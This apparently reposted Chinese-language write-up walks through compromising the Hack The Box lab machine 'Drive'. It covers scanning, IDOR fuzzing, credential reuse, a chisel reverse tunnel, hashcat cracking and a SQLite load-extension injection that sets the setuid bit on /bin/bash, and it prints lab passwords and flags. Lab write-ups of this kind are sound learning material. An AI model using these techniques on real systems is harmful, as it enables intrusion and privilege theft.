首先扫描靶场
nmap -sC -sV -sT -T4 -Pn 10.10.11.235
扫描出三个端口,还有一个drive.htb的域名,写进去hosts,然后打开
这是一个上传数据,然后可以跟其他人分享数据的网站,扫描一下目录
只有几个是200返回,注册一个账号,然后登陆一下,进去里面有个上传选项
上面提示不能超过2M,那就上传一个php shell试试
上传后点击,上面的files,看到show my file选项,点击进去可以看到自己刚刚上传的文件
找了很久没有运行的路径,但是可以注意上面有个/128/blocks,猜测128是一个IDOR漏洞,尝试对其进行fuzz,如果没有字典,可以使用crunch工具创建一个
crunch 1 3 1234567890 -o ss.txt
该命令的意思是创建一个1-999顺序的数字文本,创建后,然后使用burp抓包Reverse的数据包
抓到后发送至Intruder,Add一个参数,然后爆破
爆破出是79id,然后给包,浏览器查看
hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks!
现在拿到了一个用户的密码,尝试使用ssh登陆一下
成功登陆,但是底下是没有user flag的,去到/var/www/backups那里,有几个数据库的压缩包
在靶机上开启python服务器,将他们全部带回家,然后给权限,解压(图上是别人解压好的,正常是没有的)
看来是需要密码的,回到靶机,输入netstat查看本地的端口
netstat -tnpl
本地还有一个3000端口,那就将3000端口转发到本地,这次我使用chisel工具,这是ssh命令的转发端口
ssh -L 3000:localhost:3000 martin@10.10.14.235
chisel server --reverse --port 1111
./chisel client 10.10.14.10:1111 R:3000:127.0.0.1:3000
现在可以直接在浏览器输入127.0.0.1:3000,查看gitea
在Explore里面有两个用户,选择martinCruz登陆,密码跟martin的ssh密码相同,登陆进去后,选择crisDisel用户,可以看到有DoodleGrive整个项目,包括源代码
其中有个db_backup.sh脚本,点击可以看到整个过程
db_backup.sh
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
#backups is more than 10... deleting to oldest backup
rm $(ls *.7z --sort=t --color=never | tail -1)
#oldest backup deleted successfully!
fi
rm backups_num.tmp
猜测-p后面那串是解压密码,拿去试试
成功解压出一个sqlite文件,将它导入SQLite软件里面查看
可以看到里面5个用户,直接使用hashcat爆破,因为是四个压缩包,不同的时间段,不同的hash,所以要每个都要解压看一下
hashcat -m 124 hash /home/uu/rockyou.txt
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
这才是正确的tom的ssh登陆密码,直接登陆拿user flag:43c2be94e938acb73f1f2891cb30ee4a
然后提权,可以看到底下有个红色权限的doodleGrive-cli,猜测是通过他提权,运行一下是需要密码用户的
所以将它下载到本地,然后逆向,这次是用cutter工具,一直寻找,往下拉,可以看到moriarty
这段代码就是检测输入用户名跟密码的对错
从这里可以看到该程序只是用写进去的用户更换成%s,他是直接调用sqlite命令,可以参考这篇文章
https://www.sqlite.org/loadext.html
或者使用binwalk快速的逆向,获取重要的信息,可以看出是跟上面一样的
这个就是登陆elf文件的用户名,密码是下面那个,长度24,密码是[email protected]!
提权首先新建一个exp,exp的内容是chmod,然后给exp 777权限
chmod u+s /bin/bash
然后登陆进去,选择5,写假的用户名
&edit(id,"exp")--
成功拿到root flag:e54da96e674bc354acdf7052acde5812
原文始发于微信公众号(Jiyou too beautiful):HTB-Drive笔记
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论